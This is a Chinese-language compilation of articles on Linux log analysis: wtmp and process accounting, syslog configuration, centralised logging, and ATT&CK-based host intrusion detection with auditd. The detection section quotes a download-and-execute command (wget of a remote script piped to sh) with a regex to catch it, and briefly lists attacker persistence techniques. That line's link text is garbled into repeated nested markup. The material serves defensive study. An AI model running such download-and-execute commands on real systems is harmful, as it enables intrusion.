针对linux系统安全日志分析和linux安全日志这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展ATT&CK矩阵linux系统安全实践、Linux系统故障分析与排查--日志分析、Linux
针对linux系统安全日志分析和linux 安全日志这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展ATT&CK矩阵 linux系统安全实践、Linux 系统故障分析与排查 -- 日志分析、Linux 系统日志分析与管理、Linux 系统日志及日志分析等相关知识,希望可以帮助到你。
本文目录一览:linux系统安全日志分析(linux 安全日志)
我们主要讲一下Linux环境中的系统记帐和系统日志管理以及怎么用一些工具更加方便有效的管理日志信息。
当我们用上面的方法进行了 Linux 服务器的安装和一些基本的设置后,我们的服务器应该说来是比较安全的。但是总是还会有黑客可以通过各种方法利用系统管理员的疏忽侵入我们的系统。他们的一举一动都会记录到系统的日志之中,尽管他们可能可以改变这些日志信息,甚至用自己的程序替换掉我们系统本身的命令程序,但是通过日志我们总还是能找到一些蛛丝马迹。下面我们主要讲一下 Linux 环境中的系统记帐和系统日志管理以及怎么用一些工具更加方便有效的管理日志信息。
1 系统记帐
最初开发的系统记帐用于跟踪用户资源消费情况,从用户帐号中提取费用为目地的。现在我们可以把它用于安全目的,给我们提供有关在系统中发生的各种活动的有价值信息。
系统记帐主要非为两类:
1) 连接记帐
连接记帐是跟踪当前用户当前对话、用户登录和退出的活动。在 Linux 系统中使用 utmp (动态用户对话)和 wtmp (登录/退出日志记录)工具来完成这一记帐过程。Wtmp 工具同时维护重新引导和系统状态变化信息。各种程序对这些工具进行刷新和维护,因此无须进行特殊的后台进程或程序。然而,utmp 和 wtmp 输出结果文件必须存在,如果这些文件不存在会关闭连接记帐。与 utmp 和 wtmp 有关的所有数据将分别保存在 /var/run/utmp 和 /var/log/wtmp 中。这些文件归根用户所有。这些文件中的数据是用户不可读的,但也有工具可以转换成可读的形式。
dump-utmp 可以转换连接记帐数据为可读的 ASCII 格式数据。
ac 命令提供了有关用户连接的大概统计,我们可以使用带有标志 d 和 p 的 ac 命令。标志 d 显示了一天的总连接统计,标志 p 显示了每一个用户的连接时间。这种统计信息的方式对了解与探测入侵有关的用户情况及其他活动很有帮助。Last 和 who 是出于安全角度定期使用的最常用命令。
last 命令提供每一个用户的登录时间,退出登录时间,登录位置,重新引导系统及运行级别变化的信息。last -10 表示 last 的最多输出结果为最近的 10 条信息。缺省时 last 将列出在 /var/log/wtmp 中记录的每一连接和运行级别的变化。从安全角度考虑,last 命令提供了迅速查看特定系统连接活动的一种方式。观察每天的输出结果是个好习惯,从中可以捕获异常输入项。Last 命令的 -x 选项可以通知系统运行级别的变化。
who 命令主要作用是报告目前正在登录的用户、登录设备、远程登录主机名或使用的 Xwindows 的 X 显示值、会话闲置时间以及会话是否接受 write 或 talk 信息。
例如: who -iwH 的输出结果:
USER MESG LINE LOGIN-TIME IDLE FROM Denny - tty1 Feb 18 08:42 old
这就表示用户 Denny 不能接受 write 或 talk 信息,2月18日8:42 从 tty1 登录。该命令的安全值提供了用户连接的大致情况,这也为监视可疑活动提供了条件。 其他的有关命令有 lastlog 命令,该命令报告了有关 /var/log/lastlog 中记录的最后一次登录的数据信息。
2) 进程记帐
进程记帐是对进程活动的记录。原数据保存在 /var/log/pacct 文件中,其许可权限为 600。该文件的存在是进程记帐有效的保障。与连接记帐不同,进程记帐必须处于打开状态,使用下面的命令设置打开状态.
# accton /var/log/pacct
可以使用自选文件代替 /var/log/pacct,但必须记住这一文件并且设置适当的许可权限。必须在每次引导的时候执行该命令,可以在 /etc/rc.d/rc.local 中输入以下脚本:
# initiate process account if [ -x /sbin/accton ] then /sbin/accton /var/log/pacct echo "process accounting initiated" fi
一旦在系统中配置进程记帐后,将使用 3 个命令解释在 /var/log/pacct 中的非用户可读的原数据。这些命令分别为 dump-acct,该命令与 dump-utmp 完全相似,sa 命令用于统计系统进程记帐的大致情况,最后一个是 lastcomm 命令列出了系统执行的命令。
1 sa 命令
与 ac 命令一样,sa 是一个统计命令。该命令可以获得每个用户或每个命令的进程使用的大致情况,并且提供了系统资源的消费信息。在很大程度上,sa 又是一个记帐命令,对于识别特殊用户,特别是已知特殊用户使用的可疑命令十分有用。另外,由于信息量很大,需要处理脚本或程序筛选这些信息。
可以用这样的命令单独限制用户:
# sa -u |grep joe joe 0.00 cpu bash joe 0.00 cpu ls joe 0.01 cpu ls joe 0.01 cpu lastcomm joe 0.01 cpu tcpdump joe 0.01 cpu reboot
输出结果从左到右依次为:用户名、cpu 使用时间秒数、命令(最多为 16 个字符)。
2 lastcomm 命令
与 sa 命令不同,lastcomm 命令提供每一个命令的输出结果,同时打印出与执行每个命令有关的时间印戳。就这一点而说,lastcomm 比 sa 更有安全性。
lastcomm 命令使用命令名,用户名或终端名作为变量。该命令可以查询进程记帐数据库。下面显示 lastcomm joe 的输出结果,每行表示命令的执行情况,从左到右为:用户、设备、使用的 cpu 时间秒数、执行命令的日期和时间。
# lastcomm joe reboot joe ttyp1 0.01 secs Fri Feb 26 18:40 tcpdump joe ttyp1 0.01 secs Fri Feb 26 18:39 lastcomm joe ttyp1 0.01 secs Fri Feb 26 18:32 ls joe ttyp1 0.01 secs Fri Feb 26 18:30 ls joe ttyp1 0.00 secs Fri Feb 26 18:28 bash joe ttyp1 0.00 secs Fri Feb 26 18:25
如果系统被入侵,请不要相信在 lastlog、utmp、wtmp、pacct 中记录的信息,但也不要忽略,因为这些信息可能被修改过了。另外有可能有人替换了who程序来掩人耳目。
通常,在已经识别某些可疑活动后,进程记帐可以有效的发挥作用。使用 lastcomm 可以隔绝用户活动或在特定时间执行命令。但是使用该命令必须设置为打开状态。
基本上,/var/log/pacct,/var/run/utmp,/var/log/pacct是动态数据库文件。其中/var/log/pacct和/var/log/wtmp文件随着输入项的增加和修改而增加。问题在于这些文件处于动态增加状态,因此到一定程度就会变的很大。
我们可以通过一个叫 logrotate 的程序来解决上面这个问题,该程序读 /etc/logrotate.conf 配置文件,该配置文件告诉 logrotate 所要读 /etc/logrotate.d 目录中的文件。可以通过它来设定日志文件的循环时间。
|
回页首 |
2 系统日志
在 Linux 下使用各种日志文件,有些用于某些特殊用途,例如:/var/log/xferlog 用于记录文件传输协议 FTP 的信息。其他日志文件,例如 /var/log/messages 文件通常包含许多系统和内核工具的输入项。这些日志文件为系统的安全状态提供了信息。
我们主要讲解两个日志守护程序---syslog和klogd------并且简要叙述了由Linux操作系统生成的其他其他日志文件。目的是提供基本的配置情况。
2.1 syslog系统日志工具
大部分的 Linux 系统中都要使用 syslog 工具,它是相当灵活的,能使系统根据不同的日志输入项采取不同的活动。下面将详细讨论syslog 的工作机制以及在配置文件 /etc/syslog.conf 中的配置,还将论述利用 syslog 灵活性和功能性进行工作的各种方法。
1) 概述
非常简单,syslog 工具由一个守护程序组成。它能接受访问系统的日志信息并且根据 /etc/syslog.conf 配置文件中的指令处理这些信息。程序,守护进程和内核提供了访问系统的日志信息。因此,任何希望生成日志信息的程序都可以向 syslog 接口呼叫生成该信息。
通常,syslog 接受来自系统的各种功能的信息,每个信息都包括重要级。/etc/syslog.conf 文件通知 syslogd 如何根据设备和信息重要级别来报告信息。
2) etc/syslog.conf
/etc/syslog.conf 文件使用下面的形式
facility.level action
空白行和以#开头的行可以忽略。Facility.level 字段也被称做 seletor。应该使用一次或多次 tab 键分隔 facility 和 action。大部分 Linux 使用这些空格为分隔符。现在分析一下 /etc/syslog.conf 中的三个要素。
facility 指定 syslog 功能,主要包括以下这些:
auth 由 pam_pwdb 报告的认证活动。 authpriv 包括特权信息如用户名在内的认证活动 cron 与 cron 和 at 有关的信息。 daemon 与 inetd 守护进程有关的信息。 kern 内核信息,首先通过 klogd 传递。 lpr 与打印服务有关的信息。 mail 与电子邮件有关的信息 mark syslog 内部功能用于生成时间戳 news 来自新闻服务器的信息 syslog 由 syslog 生成的信息 user 由用户程序生成的信息 uucp 由 uucp 生成的信息 local0----local7 与自定义程序使用,例如使用 local5 做为 ssh 功能 * 通配符代表除了 mark 以外的所有功能
与每个功能对应的优先级是按一定顺序排列的,emerg 是最高级,其次是 alert,依次类推。缺省时,在 /etc/syslog.conf 记录中指定的级别为该级别和更高级别。如果希望使用确定的级别可以使用两个运算符号!(不等)和=。
user.=info
表示告知 syslog 接受所有在 info 级别上的 user 功能信息。
syslog 级别如下:
emerg 或 panic 该系统不可用 alert 需要立即被修改的条件 crit 阻止某些工具或子系统功能实现的错误条件 err 阻止工具或某些子系统部分功能实现的错误条件 warning 预警信息 notice 具有重要性的普通条件 info 提供信息的消息 debug 不包含函数条件或问题的其他信息 none 没有重要级,通常用于排错 * 所有级别,除了none
action字段所表示的活动具有许多灵活性,特别是,可以使用名称管道的作用是可以使 syslogd 生成后处理信息。
syslog 主要支持以下活动
file 指定文件的绝对路径 terminal 或 print 完全的串行或并行设备标志符 @host 远程的日志服务器 username 发送信息到使用 write 的指定用户中 named pipe 指定使用 mkfifo 命令来创建的 FIFO 文件的绝对路径。
3) 调用 syslogd 守护程序
syslog 守护程序是由 /etc/rc.d/init.d/syslog 脚本在运行级2下被调用的,缺省不使用选项。但有两个选项 -r 和 -h 很有用。
如果将要使用一个日志服务器,必须调用 syslogd -r。缺省情况下 syslog 不接受来自远程系统的信息。当指定 -r 选项,syslogd 将会监听从 514 端口上进来的 UDP 包。
如果还希望日志服务器能传送日志信息,可以使用 -h 标志。缺省时,syslogd 将忽略使其从一个远程系统传送日志信息到另一个系统的/etc/syslog.conf 输入项。
4) klogd 守护进程
klogd 守护进程获得并记录 Linux 内核信息。通常,syslogd 会记录 klogd 传来的所有信息,然而,如果调用带有 -f filename 变量的 klogd 时,klogd 就在 filename 中记录所有信息,而不是传给 syslogd。当指定另外一个文件进行日志记录时,klogd 就向该文件中写入所有级别或优先权。Klogd 中没有和 /etc/syslog.conf 类似的配置文件。使用 klogd 而避免使用 syslogd 的好处在于可以查找大量错误。如果有人入侵了内核,使用 klogd 可以修改错误。
5) 其他日志
在 /var/log 和不同版本的系统中以及自己配置的应用程序中都可以找到其他日志文件。当然,/etc/syslog.conf 列出了由 syslogd 管理的所有日志文件名和位置。其他日志由其他应用程序管理。例如在 Redhat6.2 中,apache server 生成 /var/log/htmlaccess.log 文件记录客户访问,生成 /var/log/httpd/error.log 文件在 syslog 以外查找错误。
cron 工具维护的信息日志文件 /var/log/cron。当 Linuxconf 工具记录系统重新配置信息时,将生成日志文件如 /var/log/nerconf.log。samba 在 /var/log/samba 中维护其日志信息。
另外由于 syslogd 在系统非常繁忙时,可能会丢失信息,所以,可以用 cyclog 替换 syslog。
ATT&CK矩阵 linux系统安全实践
0×01 前言
MITRE在2013年推出了ATT&CK模型,根据真实的观察数据来描述和分类对抗行为。ATT&CK将已知攻击者行为转换为结构化列表,近两年来,也在安全行业中广受欢迎,涌现大量需求岗位,且在未来趋势逐步上升趋势,MITRE提供的“对抗战术、技术和常识”框架逐步落地在入侵检测系统中。昨天在群里看到在了解国外的落地情况,有个比较满意的回答:流量检测+安服,反手就是一个赞。
0X02 入侵检测
落地在入侵检测平台,先大概总结入侵检测的大概思路,入侵检测是指通过对采集来的数据进行检查,并根据观察到的异常事件和数据产生告警的过程,常见做法是对入侵行为的发觉,通过从计算机网络或系统中的若干关键点收集信息,并对这些信息进行分析,对被保护系统进行安全审计、监控、攻击识别以及做出实时的反应。从而发现网络或系统中是否有违反安全策略的行为和遭到攻击的迹象。
一个典型的入侵检测系统至少应包括3个功能模块:
提供事件记录流的信息源
发现入侵迹象的分析引擎
于分析引擎的相应部件
入侵检测的分类
根据检测所用数据的来源不同,可将入侵检测系统分为以下三类:
基于主机的入侵检测系统(HIDS)
1.被监测系统的操作系统事件
2.日志应用程序的事件日志
3.系统调用日志(syscall)
4.端口调用
5.安全审计日志(eventlog)
基于网络的入侵检测系统(NIDS)
数据源是网络上的原始数据包,利用一个运行在混杂模式下的网络适配器类实时监视并分析通过网络进行传输的所有通信业务
基于混合数据源的入侵检测系统(HIDS+NIDS)
通用检测方法
基于已知攻击的检测
通过收集非已知入侵攻击的信息(知识、模式等)的行为特征,建立相关的特征库,当监测的用户或系统行为与库中的记录相匹配时,即认为这种行为是入侵,也是ATT&CK矩阵的思路,这种检测误报率低,对计算能力要求不高,局限在于只能发现已知攻击,对未知攻击无能为力,且模式库难以统一定义,特征库也必须不断更新。
匹配模式
已知特征将已知特征转换为模式,存放在模式数据库中,在检测过程中将捕获的事件与模式数据库中的入侵模式进行匹配,若匹配成功则认为有入侵行为发生。如:wget [[[[http://test.com/eval.sh](http://test.com/eval.sh)]([http://test.com/eval.sh]( http://test.com/eval.sh))]([[http://test.com/eval.sh](http://test.com/eval.sh)]([http://test.com/eval.sh]( http://test.com/eval.sh)))]([[[ http://test.com/eval.sh](http://test.com/eval.sh)]([http://test.com/eval.sh]( http://test.com/eval.sh))]([[ http://test.com/eval.sh]( http://test.com/eval.sh)]([http://test.com/eval.sh](http://test.com/eval.sh)))) -o eval.sh | sh通过正则表达式对这种误用行为模式进行概括描述为wget\s+http:.*(\s+-\w+){0,}\s+-o\s+.*\.(sh|pl)\s*\|sh这里存在着漏报和误报的问题,例如某正常用户管理员可能会执行下列指令,用于自动化的批量运维部署,但是对应一些有着明显的攻击特征可以直接检测,对于这样的现状常见的思路是”升维“或者”维度切换“,在一个维度无法区分的向量,升级到多维度结合判断
IOC检测IOC是可用于客观描述网络入侵事件,以与平台无关方法表示的任意信息片断
注册表键值、文件名、文本字符串、进程名、文件哈希、IPv4地址、URL、电子邮件地址
目前通过分析过的IOC来看,存在大量的IOC过期导致的误报事件,解决这个问题的常见方法是继续IOC再关联行为分析,如:邮件文件发现存在恶意hash值的office文件,其IOC事件的用户行为为:下载文件、DLL代码被执行、发起CC连接,匹配对应事件后定义为恶意IOC,但可能存在的情况是未能及时触发行为,导致漏报。
关联检测
通过将匹配模式的规则转化成IF-THEN规则,形成知识库,然后,运用推理算法进行检测入侵。编码规则说明攻击的必要条件作为IF的组成部分,当规则的左边的全部条件都满足时,规则的右边的动作才会执行,形成逻辑判断
基于行为的检测
先总结正常操作应该具有的特征(用户轮廓),当用户活动与正常行为有重大偏差时即被认为是入侵。所以选取的特征量既要能够准确体现用户行为特征又要能够使模型最优化以最少的特征覆盖用户行为阈值,且需建立正常的特征轮廓并以此作为比较基准,当阀值过大,漏报率高,阀值过小,误报率搞,需要以当前用户行为特征为非正常的行为,且特征轮廓不断更新,时间窗口需要选择合适的频率通常会用UEBA方法论对事件进行建模分析,【攻击者目的:攻击者达到此目的的可能行为步骤:攻击后获得的结果】,如:【系统提权:常见信息收集;上传/下载恶意脚本;凭证窃取;root调用的其低权限文件】,建模扩大了入侵检测的纬度范围,辅助检测,坚解决不好检测和误报高事件。
基于统计的检测
统计方法先采集信息:
基础信息
cpu信息
内存信息
网卡数据
系统组信息
系统用户
设备接入信息
应用软件信息
…
数据信息
网络连接
文件调用
进程启动
监听端口数据
本地防火墙信息
计划任务信息
环境变量信息
内核模块信息
历史访问记录
…
模型针对信息,统计正常时间测量属性
单位时间连接访问次数
单位时间内进程启动的种类的次数
单位时间内文件和系统的调用情况
范围值内用户登录的时间和次数
范围时间内进程启动的时间间隔,对应的会话数范围时间内写文件的数量、写文件行为的时间间隔
…
获取信息的统计量后,进行系统运行轮廓定位,单统计量和多统计量对用户行为进行分析
本文的重点是针对已知攻击的矩阵检测,先放一张图
0×03 主机信息采集
在调研了一些主机监控的采集器后,采用了最经典的audit,为了便于数据的标准化输出,采用auditbeat,满足ATT&CK矩阵的70%-80%的检测需求,通sysmon相关能力audit主要分三个模块:
auditd 管理审计规则、自定义auditd规则
system
1.通过用户态的管理进程配置规则,并通过 Netlink 套接字通知给内核
2.内核中的 kauditd 通过 Netlink 获取到规则并加载
3..应用程序在调用系统调用和系统调用返回时都会经过 auditd
4.auditd 会将这些事件记录下来并通过 Netlink 回传给用户态进程。
file_integrity实时监控指定文件系统变化、报告文件元数据与哈希、为文件建立、移动、删除、更新和属性修改生成事件可以实现审计监控的场景
1.监控文件访问(识别可疑篡改、文件权限更新)
2.监控系统调用(二进制文件或共享库调用)
3.记录用户命令执行(危险命令执行、审计)
4.记录安全事件
5.执行审计搜索
6.统计概要报表
7.监控网络访问(恶意外联)
0×04 基于ATT&CK的入侵检测
snoopy轻量级的lib库,用来激励系统中所有执行过的命令以及参数,实际使用场景中结合snoopy和rsyslog收集所有主机的历史执行命令,snoopy 即是通过 preload 的方式在程序进行 execv() 和 execve() 系统调用的时候记录下所有需要的信息,audit同snoopy,通过监控execve系统调用,同样实现用户的操纵记录,大部分检测通过检测非ROOT用户执行的命令以及进行威胁建模。
侦查内容
一次完整的网络渗透,主要分技术业务与信息分析业务。技术侦查能力为业务侦查提供强大的支撑与保证。业务侦查能力为技术业务提供关键的目标信息以及逻辑思维,在强大的HW中,还记得那个在电线杠下的兄弟吗?
凭证内容
获取凭证主要从根据用户习惯,从文件中、配置和历史记录中获取凭证,也可通过暴力破解和抓取内存中的明文密码
命令和控制
命令行界面提供了一种与计算机系统进行交互的方式,执行的命令以命令行界面进程的当前权限级别运行,在进攻中所采取的所有战术中,应用最广泛的战术莫过于“执行”,而应用白名单是缓解恶意软件攻击时最有用的控制措施,红衣教主讲述故事的时候说到,十年前我们哪会做什么网络安全,做了一层白名单,不在我信任列表里的都杀,没想到效果还挺好
持久化
Linux作为服务器和IoT设备使用的主要操作系统,获取权限后通常需要长期驻留于目标操作系统以达到获利目的,下面列举了常见的后门和驻留持久化技术,如增加超级用户账号、放置SUID shell,定时任务、共享库文件、LKM模块等,在应急响应中持久化是最应该关注的战术之一,也是一个比较好的切入点
权限提升
利用系统漏洞达到root级访问权是攻击者核心目标,权限提升,从入门到放弃,但对于检测来说通过检测子进程uid的是否变为0即可
横向移动
攻击者在利用单个系统漏洞后,通常会尝试在网络内进行横向移动,横向移动对于域渗透,攻击手法相对较多,在内网中,环境相当较干净,检测通用攻击,能达到较好的效果,自动化攻击的时代,躺着中*,防不胜防
清理痕迹
在目前的安全状态下,安全法规定日志需保存6个月以上,且SIEM针对安全信息和事件的管理,也才采集数据,在绕过检测采集以及心跳线检测,无法规避
Linux系统中存在用户态与内核态,以上检测大部分从用户态的攻击角度进行检测,一个恶意的软件,总结三点:隐藏、操纵、收集数据,hook通用技术如下:
1.可信任Shell——使用静态编译的二进制文件:lsof、stat、strace、last、……
2.检测工具和脚本:rkhunter,chkrootkit,OSSEC
3.LiveCD——DEFT、Second Look、 Helix
4.动态分析和调试:使用gdb根据System.map和vmlinuz image分析/proc/kcore
5.直接调试裸设备:debugFS
检测
1.在检测上,目前通过编写了1一系列的auditd规则,获取实践,检测可在传输前如nxlog对数据进行正则匹配、简单关联分析检测,也可在SOC平台上检测,视实际情况而定
0×05 结束语
从视觉角度来看,MITRE ATT&CK矩阵按照一种易于理解的格式将所有已知的战术和技术进行排列,一个攻击序列按照战术,至少包含一个技术,并且通过从左侧(初始访问)向右侧(影响)移动,就构建了一个完整的攻击序列。
从技术角度出发,主要的利用场景如下:
(1)对抗模拟
(2)红队/渗透测试活动
(3)SOC成熟度评估
Linux 系统故障分析与排查 -- 日志分析
处理 Linux 系统出现的各种故障时,故障的症状是最先发现的,而导致这以故障的原因才是最终排除故障的关键。熟悉 Linux 系统的日志管理,了解常见故障的分析与解决办法,将有助于管理员快速定位故障点,“对症下药” 及时解决各种系统问题。
一、主要日志文件包括以下三种类型:
a. 内核及系统日志:这种日志数据由系统服务 syslog 统一管理,根据其主配置文件 "/etc/syslog.conf" 中的设置决定将内核消息及各种系统程序消息记录到什么位置。系统中有相当一部分程序会把自己的日志文件交由 syslog 管理,因而这些程序使用的日志记录也具有相似的格式。
b. 用户日志:这种日志数据用于记录 Linux 系统用户登录及退出系统的相关信息,包括用户名、登录的终端、登录时间、来源主机、正在使用的进程操作等。
c. 程序日志:有些应用程序运会选择自己来独立管理一份日志文件(而不是交给 syslog 服务管理),用于记录本程序运行过程中的各种事件信息。由于这些程序只负责管理自己的日志文件,因此不同的程序所使用的日志记录格式可能会存在极大差异。
#列表查看 "/var/log" 目录中的各种日志文件及子目录。
对于 Linux 系统中的一些常见日志文件,有必要熟悉其相应的用途,这样才能在需要的时候更快地找到问题所在,及时解决各种故障。如:
1. >/var/log/messages:记录 Linux 内核消息及各种应用程序的公共日志信息,包括启动、IO 错误、网络错误、程序故障等。对于未使用独立日志文件的应用程序或服务,一般都可以从该文件获得相关的事件记录信息。
2. >/var/log/cron:记录 crond 计划任务产生的事件消息。
3. >/varlog/dmesg:记录 Linux 系统在引导过程中的各种事件信息。
4. >/var/log/maillog:记录进入或发出系统的电子邮件活动。
5. >/var/log/lastlog:最近几次成功登录事件和最后一次不成功登录事件。
6. >/var/log/rpmpkgs:记录系统中安装各 rpm 包列表信息。
7. >/var/log/secure:记录用户登录认证过程中的事件信息。
8. >/var/log/wtmp:记录每个用户登录、注销及系统启动和停机事件。
9. >/var/log/utmp:记录当前登录的每个用户的详细信息
二、日志文件分析
熟悉了系统中的主要日志,我们就针对日志文件的分析方法做了解。分析日志文件的目地在于通过浏览日志查找关键信息,对系统服务进行调试,判断发生故障的原因等。这里主要说三类日志文件的基本格式和分析方法。
对于大多数文本格式的日志格式(如内核及系统日志、大多数的程序日志),只要使用 tail、more、less、cat 等文本处理工具就可以查看日志内容。而对于一些二进制格式的日志文件(eg:用户日志),则需要使用相应的查询命令。
1. 内核及系统日志:
内核及系统日志功能主要由默认安装的 syslogd-1.4.1-39.2 软件包提供,该软件包安装了 klogd、syslogd 两个程序,并通过 syslog 服务进行控制,分别用于记录系统内核的消息和各种应用程序的消息。syslog 服务所使用的配置文件为 "/etc/syslog.conf"。
通常情况下,内核及大多数系统消息都被记录到公共日志文件 "/var/log/messages" 中,而其他一些程序消息被记录到不同的文件中,日志消息还能够记录到特定的存储设备中,或者直接向用户发送。
### 查看日志配置文件 "/etc/syslog.conf'' 中的内容
2. 用户日志
在 wtmp、utmp、lastlog 等日志文件中,保存了系统用户登录,退出等相关事件的事件消息。但是这些文件都是二进制的数据文件,不能直接使用 tail、less 等文本查看工具进程浏览,需要使用 who、w、users、last 和 ac 等用户查询命令来获取日志信息。
这里就不再演示。
3. 程序日志
在 Linux 系统中,还有相当一部分应用程序并没有使用 syslog 服务来管理日志。而是由程序自己维护日志记录。例如,httpd 网站服务程序使用两个日志文件 access_log 和 error_log,一般存放在 "/var/log/httpd“目录中,分别记录客户访问事件,错误事件,而 FTP 服务程序可以将与文件上传,下载事件相关的消息记录在 xferlog 文件中。由于不同应用程序的日志记录格式差别较大,并没有严格使用统一的格式,这里不详解!
特例:服务器日志分布管理策略:
鉴于日志数据资料的重要性,对于系统运行过程中产生的各种日志文件,必须采用有针对性的管理策略,以确保日志数据的准确性、安全性和真实性。一般来说,可以从以下几个方面进行考虑。
>:日志备份和归档:日志文件也是重要的数据资料,同样需要进行备份和归档。
>:延长日志保存期限:在存储空间富裕的情况下,日志数据保留的时间应尽可能长。
>:控制日志访问权限:日志数据中可能会包含各类敏感信息,如:账号、口令等。所以需要严格控制其访问权限。
>:集中管理日志:使用集中的日志服务器管理各服务器发送的日志记录等。其好处在于方便对日志的收集、整理和分析,杜绝意外的丢失、恶意篡改或删除等。
eg:服务器 A(IP 地址为 173.17.17.3/24),用于集中保存日志记录。
将客户机 B(IP 地址为 173.17.17.11/24)中 crond 服务产生的日志记录,统一保存到服务器 A 中的 “/var/log/cron” 文件中。
● 设置日志服务器 A
在日志服务器 A 中,需要编辑 syslog 日志服务的启动参数配置文件 "/etc/sysconfig/syslog",将 SYSLOGD_OPTIONS 变量的内容改为 “-r -x -m 0” 即可。其中 "-r" 选项表示允许接受其他主机发送过来的日志记录,"-x" 选项表示不进程 DNS 域名解析,"-m" 表示记录日志的时间标记间隔(设为 0 禁用该功能),这些信息可以通过查看 syslogd 程序的 man 手册页获得
*:修改日志服务器 A 的 “/etc/sysconfig/syslog” 文件,添加集中管理配置参数 “-r”,并重启 syslog 服务。
1. vi /etc/sysconfig/syslog// 修改 SYSLOGD_OPTIONS 行 SYSLOGD_OPTIONS="-r -x -m 0"
2. service syslog restart
● 设置客户机 B
在客户机 B 中,需要修改 "/etc/syslog.conf" 配置文件,设置将 cron 计划任务的日志消息写入到服务器 A 的 "/var/log/cron" 文件中。指定写入日志的主机地址时,采用 “@173.17.17.3” 的格式即可。
*:修改客户机 B 的 "/etc/syslog.conf" 文件,找到 cron 日志的配置行,将日志发送位置改为 “@173.17.17.3”,并重启 syslog 服务。
1. vi /etc/syslog.conf
2. cron.* @173.17.17.3
3. service syslog restart
● 验证日志集中管理功能
在客户机 B 中执行 "crontab -e" 命令,随便编写一条计划任务信息并保存退出,然后查看本机中的 "/var/log/cron" 日志文件,将发现没有任何新的记录。
Linux 系统日志分析与管理
当你的 Linux 系统出现不明原因的问题时,你需要查阅一下系统日志才能够知道系统出了什么问题了,所以说了解系统日志是很重要的事情,系统日志可以记录系统在什么时间、哪个主机、哪个服务、出现了什么信息等,这些信息也包括使用者识别数据、系统故障排除等,如果你能够善用这些日志文件信息的话,你的系统出现错误时,你将可以在第一时间发现,而且也能够从中找到解决的方案.
Linux 系统内核和许多程序会产生各种错误信息、警告信息和其他的提示信息,这些信息对管理员了解系统的运行状态是非常有用的,所以应该把它们写到日志文件中去,完成这个过程的程序就是 syslog,syslog 可以根据日志的类别和优先级将日志保存到不同的文件中.
文章声明
该系列文章部分文字描述,整理于以下文献,化繁为简.
《鸟哥的 Linux 私房菜 (基础学习篇 第三版)》 - 作者:鸟哥
《Linux 就该这么学》 - 作者:刘遄
关于 Linux 常见的日志文件名及作用
日志文件可以帮助我们了解很多系统重要的事件,包括登陆者的部分信息,因此日志文件的权限通常是配置为仅有 root 能够读取而已,而由于日志文件可以记录很多的系统详细信息,所以,一个有经验的 Linux 管理员会随时随地查阅一下自己的日志文件,以随时掌握系统的最新动态,那么常见的日志文件有哪些呢? 一般而言有下面几个:
● /var/log/cron
主要记录关于 crontab 计划任务的相关信息,比如,系统计划任务的错误配置,计划任务的修改等.
● /var/log/btmp
记录错误登陆日志,这个文件是二进制的,不能使用 cat 命令查看,而要使用 lastb 命令查看.
● /var/run/utmp
记录当前一登陆用户的信息,同样不能使用 cat 命令查看,而要使用 w,who,users 命令来查询.
● /var/log/dmesg
主要记录系统在开机时内核检测过程所产生的信息,默认情况下 RHEL 系统关闭了开机回显,如果你要查看则需要在这个文件下查阅即可.
● /var/log/lastlog
记录了系统上面所有账户最近一次登陆系统时的相关信息,lastlog 命令就是读取这个文件里的记录来显示的.
● /var/log/malilog or /var/log/mail/*
记录着邮件的往来信息,默认是 postfix 邮件服务器的一些信息.
● /var/log/messages
这个文件非常重要,几乎系统发生的错误信息,或者重要信息都会被记录在这里.
● /var/log/secure
只要涉及到需要用户名和密码的操作,那么当登陆系统是 (不论正确错误), 都会记录到这里.
● /var/log/wtmp or /var/log/faillog
这两个文件可以记录正确登陆系统者的账户信息 (wtmp), 与错误登陆时所使用的账户信息,last 命令就是读取 wtmp 文件来获取的.
常见的日志文件就是这几个,但是不同的 Linux 发行版,通常日志文件的名称和存储目录都不会相同,但此处除了 /var/log/messages 之外,所以说你还是得要查阅你 Linux 主机上面的日志文件配置数据,才能知道你的日志文件主要是放在哪里了.
日志文件所需相关服务与进程
其实日志文件的产生,基本上有两种方式:一种是有软件开发商自定义写入的日志文件与相关格式,另一种则是由 Linux 发行商提供的日志文件管理服务来统一管理,你只要将这个信息丢给这个服务,它就会自己分门别类的放置到相关的日志文件中去,RHEL 系统提供 syslogd 这个服务来统一管理日志文件.
除了 syslogd 这个服务之外,内核也需要额外的登陆服务来记录内核产生的各项信息,这个专门用来记录内核日志的服务就是 klogd. 所以说,日志文件所需的服务主要是 syslogd 与 klogd 这两者.
不过需要注意的是,由于系统每天都在产生大量的日志,如果日志文件量太大,就会影响系统的正常运转,这时候我们可以通过 logrtate 来自动处理日志文件与切割更新的问题.
所谓 logrotate (日志轮询), 基本上就是将旧的文件改变名称,然后新建一个空文件,如此一来新的日志文件将重新开始记录,这样就可以实现日志轮询啦,总结一下,针对日志文件所需的功能,我们需要的服务与程序有以下几个:
syslogd:主要登陆系统与网络等服务的信息
klogd:主要登陆内核产生的各项信息
logrotate:主要进行日志文件的轮询
以上就是关于日志相关的常用常识,下面我们将开始实际看一下日志服务的应用技巧.
SYSlog 日志文件的格式
一般情况下,系统产生的信息经过 syslog 而记录下来的数据中,每条信息均会记录下面的几个数据.
● 事件发生的日期与时间
● 发生此事件的主机名
● 启动此事件的服务名,或函数名
● 该信息的实际数据内容
当然这些信息日志的详细程度也是可以修改的,而且这些信息可以作为系统的排错之用,下面我们来看一下 /var/log/secure
这个日志文件,来简单介绍一下它的记录格式吧.
[root@localhost ~]# cat /var/log/secure | head -n 5
Oct 13 12:39:27 localhost polkitd[733]: Loading rules from directory /etc/polkit-1/rules.d
Oct 13 12:39:27 localhost polkitd[733]: Acquired the name org.freedesktop.PolicyKit1 on the system bus
Oct 13 12:39:33 localhost sshd[1082]: Server listening on 0.0.0.0 port 22.
Nov 28 09:36:41 localhost sshd[1364]: Accepted password for root from 192.168.1.20 port 63704 ssh2
Nov 28 05:36:41 localhost sshd[1364]: pam_unix(sshd:session): session opened for user root by (uid=0)
我们拿最后一条数据来说,该数据是说:在 11 月 28 号的下午 5 点 36 分,由 localhost 这台主机,通过 sshd 服务 pid 号是 1364 传来的消息,这个消息是通过 pam_unix 这个模块产生的,内容为 session opened for user root by (uid=0),root 开启了活动.
SYSlog 配置文件的解析
其实日志文件也有配置文件,它的目录是 /etc/rsyslog.conf
基本上 syslog 针对各种服务于信息的记录保存在这个配置文件里,这个文件规定了什么服务什么等级信息,以及需要被记录在哪里,这三个东西,所以它的语法会是下面的样子:
[服务名称] .=! [信息等级] [记录到哪里]
